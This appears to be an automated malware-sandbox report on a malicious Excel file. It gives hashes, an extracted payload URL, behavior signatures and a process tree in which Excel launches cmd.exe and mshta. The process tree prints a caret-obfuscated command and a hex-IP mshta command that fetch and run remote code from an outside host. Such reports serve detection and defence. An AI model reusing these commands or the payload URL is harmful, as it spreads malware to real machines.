Analysis
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max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11-11-2024 17:32
Behavioral task
behavioral1
Sample
b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls
Resource
win10v2004-20241007-en
General
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Target
b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls
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Size
115KB
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MD5
50f9aa9802f18f969467d55e3e042a62
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SHA1
104315697db3add18eefbeb14811782f8134b468
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SHA256
b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6
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SHA512
233feffe1c1e524ac29a504e369137fb3d988f36621632508ee086408e9744fc9942eb38d8aaba6fd9c49916698f44bd11daff967bbd271f92033ff573162e75
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SSDEEP
3072:Me+nBqmKk3hbdlylKsgqopeJBWhZFGkE+cMLxAAImxe53lGvFTQ3IzxgdrvxpU0f:z+nBqmKk3hbdlylKsgqopeJBWhZFVE+m
Malware Config
Extracted
http://185.7.214.7/fer/fe7.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2244 1088 cmd.exe 30 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 2624 mshta.exe 7 2624 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1088 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1088 EXCEL.EXE 1088 EXCEL.EXE 1088 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1088 wrote to memory of 2244 1088 EXCEL.EXE 31 PID 1088 wrote to memory of 2244 1088 EXCEL.EXE 31 PID 1088 wrote to memory of 2244 1088 EXCEL.EXE 31 PID 1088 wrote to memory of 2244 1088 EXCEL.EXE 31 PID 2244 wrote to memory of 2624 2244 cmd.exe 33 PID 2244 wrote to memory of 2624 2244 cmd.exe 33 PID 2244 wrote to memory of 2624 2244 cmd.exe 33 PID 2244 wrote to memory of 2624 2244 cmd.exe 33
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b688576a9f8c21e3efcbc12c8deb708698492076985902a7cb8fbbeb7a9f5bc6.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\SysWOW64\cmd.execmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/fe7.html2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2244 -
C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/fer/fe7.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:2624
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